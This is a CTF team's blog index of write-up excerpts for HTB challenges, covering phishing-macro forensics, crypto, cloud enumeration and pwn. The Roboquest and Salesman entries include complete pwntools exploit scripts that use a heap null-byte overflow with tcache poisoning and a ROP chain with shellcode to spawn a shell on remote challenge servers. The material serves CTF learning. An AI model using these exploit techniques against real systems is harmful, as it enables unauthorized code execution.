Airshop Incognito

The latest wave of phishing documents has our team stumped. Figure out what they are doing and get the flag. Category: Forensics Solver: lmarschk, mp455 Flag: HTB{hT4_j4V@sCr1pT_vBs_0h_mY!} Writeup Summary: Deobfuscate the Makro and the JS Script We get a phishing document airship_incognito.doc. When we open the document we get the notification that this document contains macros. Inside the document we see an image that invotes us to the “unveiling of the airship incognito”. But below the image we notice an unreadable text with a tiny font size. ...

August 9, 2022 · 2 min · lmarschk, mp455

Buzzword Soup

“Random nonces? Where we’re going, we don’t need random nonces!” - D. Brown Category: crypto Solver: 3mb0, nh1729 Flag: HTB{buzzw0rd_s0up_h45_n3v3r_t45t3d_s0_g00d} Writeup For this challenge, we were given a python script that processes the flag and some other file alongside its output and additional files used . import random from Crypto.Util.number import bytes_to_long from functools import reduce def buzzor(b1, b2): return bytes([_b1 ^ _b2 for _b1, _b2 in zip(b1, b2)]) def buzzrandom(): return bytes([random.randrange(0, 2) for _ in range(keylen)]) flag = bytes_to_long(open("flag.txt", "rb").read()) buzzwords = open("bee_movie.txt", "rb").read() keylen = 0xbb buzzword_soup = [buzzwords[i:i+keylen] for i in range(0, len(buzzwords), keylen)][:-1] buzzcount = len(buzzword_soup) with open("output.txt", "w") as f: while flag: bit = flag & 1 flag >>= 1 output = "" for _ in range(0xb): keycount = random.randrange(buzzcount//4, buzzcount//2) keys = random.sample(buzzword_soup, keycount) out = reduce(buzzor, keys) if bit: output += out.hex() else: output += buzzor(out, buzzrandom()).hex() f.write(output + "\n") From the script we learn that every line in the output corresponds to one bit of the flag. ...

August 9, 2022 · 3 min · 3mb0, nh1729

New Era

New Era Now that Microsoft will disable Macros coming from the web, APT groups look for alternative ways to bypass MOTW. Thus, our SOC team analyses daily, dozens of different container-based malicious document in different file formats. Make sure you analyse this document properly although it seems to be safe. Category: Forensics Solver: 3mb0, mp455 Flag: HTB{sch3dul1ng_t4sks_1s_c00l_but_p0w3rsh3ll_w1th0ut_p0w3rsh3ll_1s_c00l3r} Writeup Summary: Decompile and deobfuscate the VBA p-code. Microsoft wants to fight the macro malware incident rate by denying all macros from documents that are downloaded from the web and therefore have the “Mark of the Web” (MOTW) [1]. In our case we got office.iso containing office.doc. This way the iso file has the MOTW but when mounting / extracting the iso the doc file has not the MOTW. When we open the document we get the notification about macros. When we try to open the macros source code with the integrated IDE we see an almost blank macro file. That’s weird. Analysing the document with olevba [2] we get the warning that “VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code”. With this we get to know VBA Stomping [3] and what p-code is [4]. Understanding what p-code is we can dump it out of the document with pcodedmp [4]. As p-code is a hardly readable format we searched for p-code decompiler and found pcode2code [5]. The decompiler produces VBA code, of course obfuscated - but even more shocking, it was also broken code. The VBA code contains some strings that look like base64 and some complicated functions. Decoding the base64 strings results in not readable bytes. Reimplementing the code in python took us too long. So we took our time to learn more and more about the VBA syntax and was able to fix the syntax errors. Executing the decoding functions we could transform the non readable base64-looking code into: ...

August 9, 2022 · 2 min · lmarschk, mp455

Pierce

We just launched our brand new pierce inventory which has wide variety of antique jewellery collection. Order before we run out of the stock. Category: Cloud Solver: rgw, linaScience Flag: HTB{f0rg3ry_t0_IMDS_1s_fun!!!} Writeup We get an IP address and run a full port scan with host detection (nmap -p- -A). We see three open ports: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | [...] 8000/tcp open http Werkzeug httpd 2.0.3 (Python 3.8.10) |_http-title: Site doesn't have a title (application/json). |_http-favicon: Unknown favicon MD5: 05D7D8C4C62484FB5DB1C78E05D739A1 | http-methods: | Supported Methods: OPTIONS DELETE PUT POST HEAD GET |_ Potentially risky methods: DELETE PUT |_http-server-header: Werkzeug/2.0.3 Python/3.8.10 9000/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Pierce Shopping | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: Apache/2.4.41 (Ubuntu) When requesting port 8000, we get the JSON response {"Server":"Localstack","Status":"running"}. We find out that Localstack [1] is a fully functional local cloud stack. It seems like port 8000 is its exposed management port. Since access to the management port is unauthenticated by default, we use the AWS CLI tool [2] to interact with it: ...

August 9, 2022 · 3 min · rgw, linaScience

Relic

Relic In some long-forgotten cave, you’ve come across a strange relic of the distant past. Can you reawake it and uncover its secrets? Category: rev Solver: lmarschk, t0b1 Flag: HTB{c0r3_dump5_4r3_c00l_f0r_d3bugg1ng} Writeup Coredump and original script given. Script encrypts a flag, then aborts to generate coredump. Coredump still contains the key. We can get the start of the key by XORing the HTB{ string with the given encrypted flag. Using the start of the key, we can search the coredump for the original key. ...

August 9, 2022 · 1 min · lmarschk, t0b1

Roboquest

In order to automate our procedures, we have created this data collector steam robot that will go out and ask questions on random citizens and store the data in his memory. Our only problem is that we do not have a template of questions to insert to the robot and begin our test. Prepare some questions and we are good to go! Category: pwn Solver: t0b1 Flag: HTB{r0b0fl0w_tc4ch3_p01s0n} Writeup Libc given, 2.27 Challenge allows to create, modify, show, and delete questions Using show, we can leak the heap and libc base address Modifying a challenge gets the question size via strlen This is problematic, as when using malloc chunks of size 0x8 we can overwrite the size metadata of the following chunk Therefore, we have at least one byte into the metadata of the following chunk Similar to the House of Einherjar and digiheap challenge from last year described here https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ See solve script below Solve script # Solution similar to https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ # This might need multiple attempts when address leaks # contain null bytes. from pwn import * LOCAL = False DEBUG = False remote_ip, port = '159.65.56.112', 32297 binary = './robo_quest' elf = ELF(binary) libc = ELF(".glibc/libc.so.6") context.terminal = ['tmux', 'splitw', '-h'] context.arch = "amd64" context.log_level = "info" # context.aslr = False re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) libc = ELF(".glibc/libc.so.6") if LOCAL: if DEBUG: p = gdb.debug(binary, gdbscript=''' break *main+202 c ''') else: p = process(binary) else: p = remote(remote_ip, port) def choice(idx): sla("> ", str(idx)) def create(size, question): choice(1) sla("Question's size: ", str(size)) sa("Insert question here: ", question) def show(idx): choice(2) sla("Question's id: ", str(idx)) def modify(idx, question): choice(3) sla("Question's id: ", str(idx)) sa("New question: ", question) def remove(idx): choice(4) sla("Question's id: ", str(idx)) junk = 8 * b'A' # Leak heap via tcache next ptr create(16, junk) create(16, junk) remove(1) remove(0) create(16, b'A') show(0) reu(b'Question [0]: A') tcache_fd = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) # Offset to heap start found by debugging with GDB and running `vmmap` heap_start = tcache_fd - 0x200 info(f'heap starts at: 0x{heap_start:x}') # Cleanup remove(0) # Leak libc via unsorted bin create(0x500, junk) create(0x500, junk) remove(0) create(0x500, b'A') show(0) reu(b'Question [0]: A') main_arena = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) info(f'main arena: 0x{main_arena:x}') # Offset to libc start found by debugging with GDB and running `vmmap` libc.address = main_arena - 0x3ebc00 info(f'libc at: 0x{libc.address:x}') system = libc.symbols['system'] info(f'system: 0x{system:x}') free_hook = libc.symbols['__free_hook'] info(f'free_hook: 0x{free_hook:x}') # Cleanup remove(0) remove(1) # Exploit using House of E fake_chunk_address = heap_start + 0x2a0 fake_chunk_payload = p64(0x0) fake_chunk_payload += p64(0x325) fake_chunk_payload += p64(fake_chunk_address) fake_chunk_payload += p64(fake_chunk_address) info(f'Fake chunk starts at: 0x{fake_chunk_address:x}') info(f'Setting up heap') create(0x108, fake_chunk_payload) # Fake chunk create(0x108, junk) create(0x108, cyclic(0x108)) # use this to overwrite next chunks prev_in_use create(0x4f8, junk) # to overflow create(0x108, junk) create(0x28, b'/bin/sh\x00') info(f'Using null byte overflow to set PREV_IN_USE') null_byte_trigger = b'a' * 0x100 + p64(0x320) + b'\x00' modify(2, null_byte_trigger) info(f'Freeing corrupted buffer') remove(3) info(f'Freeing filler') remove(4) info(f'Freeing tcache poison target') remove(1) # tcache poison tcache_poison = b'a' * 0xf8 tcache_poison += p64(0x111) tcache_poison += p64(free_hook) info(f'Creating new chunk to poison tcache fd') create(0x200, tcache_poison) info(f'Creating first chunk') create(0x108, junk) # Overwrite free hook info(f'Creating chunk to overwrite free hook') create(0x108, p64(system)) # Free chunk with '/bin/sh' info(f'Freeing chunk with /bin/sh to trigger free hook') remove(5) info(f'Enjoy shell!') p.interactive()

August 9, 2022 · 3 min · t0b1

Salesman

I see you are new in town adventurer! Here you can pick whatever you want to continue your journey. Need a pet companion? Our arachnoids are the best. Ready to fight? Our pistols are here for you. Lost in time? Our watch will definately save you! Category: pwn Solver: t0b1, s3rp3ntL0v3r Flag: HTB{00b_4nd_p1v0t_2_th3_st34m_w0rld!} Writeup See solve script below. Solver from pwn import * LOCAL = False HOST = '167.172.52.221' PORT = 30371 CHALLENGE = './salesman' context.terminal = ['tmux', 'splitw', '-h'] # context.arch = "amd64" context.log_level = "info" context.binary = elf = ELF(CHALLENGE) re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) p = gdb.debug(CHALLENGE, '') if LOCAL else remote(HOST, PORT) rop = ROP(elf) rop.mprotect(0x400000, 0x1000, 0x7) rop.read(0, 0x400000, 0x100) rop.call(0x400000) payload = b'A' * 8 payload += rop.chain() # Overwrite base pointer sla(b'Item: ', '-2') sla(b'> ', payload) # As we overwrite the base pointer and the menu for loop checks # relative to the $rbp whose memory is initialized with 0, # we do three rounds instead of two. for i in range(2): info(f'Run {i+1}') sla(b'Item: ', '0') sla(b'> ', b'a') info('Done') info('Done') shell = asm(shellcraft.sh()) p.sendline(shell) p.interactive()

August 9, 2022 · 2 min · t0b1, s3rp3ntL0v3r

Somewhat Correlated

Sometimes, you can find patterns in seemingly random things… Category: crypto Solver: 3mb0, nh1729 Flag: HTB{n01sy_LF5R-1s_n0t_l0ud_3n0ugh} Writeup For this challenge, we were given a python script that processes the flag alongside its output. import random from hashlib import sha512 class LFSR: def __init__(self, state, taps): self.state = list(map(int, list("{:0128b}".format(state)))) self.taps = taps def clock(self): outbit = self.state[0] newbit = sum([self.state[t] for t in self.taps]) & 1 self.state = self.state[1:] + [newbit] return outbit key = random.getrandbits(128) G = LFSR(key, [0, 1, 2, 7, 3]) [G.clock() for _ in range(256)] stream = [G.clock() for _ in range(5000)] noise = [int(random.random() > 0.95) for _ in range(5000)] stream = [x ^ y for x, y in zip(stream, noise)] print(stream) flag = open("flag.txt", "rb").read() enc = bytes([x ^ y for x, y in zip(sha512(str(key).encode()).digest(), flag)]) print(enc.hex()) The script generates a key of 128 random bits and uses it as IV for a linear feedback shift register (LFSR) and encryptes the flag with the sha512 of the key. We get the encrypted flag and 5000 bits of output from the LFSR, which are generated after 256 clocks. However, about 5% of the 5000 bits are flipped at random before. ...

August 9, 2022 · 5 min · 3mb0, nh1729

Sophist

We just launched an online password management, we would like you to look into our infrastructue and spot any issues. Category: Cloud Solver: rgw, linaScience Flag: HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!} Writeup We get an IP address and run a full port scan with host detection (nmap -A -p-) and see a few open ports: PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | [...] 80/tcp open http syn-ack nginx 1.18.0 |_http-title: Sophist Key Manager | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: nginx/1.18.0 8080/tcp open ssl/http-proxy syn-ack |_http-title: Site doesn't have a title. | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | ssl-cert: Subject: commonName=admin | [...] 8443/tcp open ssl/https-alt syn-ack | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. | fingerprint-strings: | GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 401 Unauthorized | Audit-Id: 7ec84791-51f5-437c-977d-2c4954bf15ec | Cache-Control: no-cache, private | Content-Type: application/json | Date: Fri, 25 Mar 2022 17:33:27 GMT | Content-Length: 129 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401} | HTTPOptions: | HTTP/1.0 401 Unauthorized | Audit-Id: 8e9af1ed-aba6-4463-bf14-afd6e003d2b2 | Cache-Control: no-cache, private | Content-Type: application/json | Date: Fri, 25 Mar 2022 17:33:27 GMT | Content-Length: 129 |_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401} |_http-title: Site doesn't have a title (application/json). | ssl-cert: Subject: commonName=k3s/organizationName=k3s | [...] 10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). | ssl-cert: Subject: commonName=sophist | [...] 10251/tcp open unknown syn-ack 31337/tcp open ssh syn-ack OpenSSH 8.6 (protocol 2.0) | ssh-hostkey: | [...] We can see that the node is the master node of a Kubernetes Cluster. Port 80 and 8080 are application service ports, 8443 is a Kubernetes API Port (HTTPS), ports 10250 and 10251 are Kubelet API Ports and 31337 is an application NodePort. ...

August 9, 2022 · 7 min · rgw, linaScience

Steam Door

Steam Door Steam-security analysts have spotted a new unknown persistence technique used in the wild. But they are not able to understand how it works since steam-technology is involving at very fast rates. Please analyse this memory dump and find the persistence mechanism used by the malicious steam actors. Flag format: HTB{md5sum }. For example: HTB{55e7dd3016ce4ac57b9a0f56af12f7c2} Download: drive.google.com/file/d/1OP_r3c9Crvym28suH9K7ro5JNN0Pzx5_ Category: Forensics Solver: lmarschk, mp455 Flag: HTB{db042f659831045cc3748324b481507e} Writeup Summary: Analysis of windows memory dump and file extraction out of it. ...

August 9, 2022 · 2 min · lmarschk, mp455

UniLab: User

UniLab Category: unilab Solver: rgw, linaScience, nh1729 Writeup We get an IP address and run a port scan using nmap. We see only one open port, 80 We open the IP in our browser and get redirected to http://moodle.unilab.htb/. We also the header Server: Microsoft-IIS/10.0. After adding the domain and IP to our hosts file, we see a moodle index page: We register and enroll in the only course available, Linear Algebra 1: ...

August 9, 2022 · 3 min · rgw, linaScience, nh1729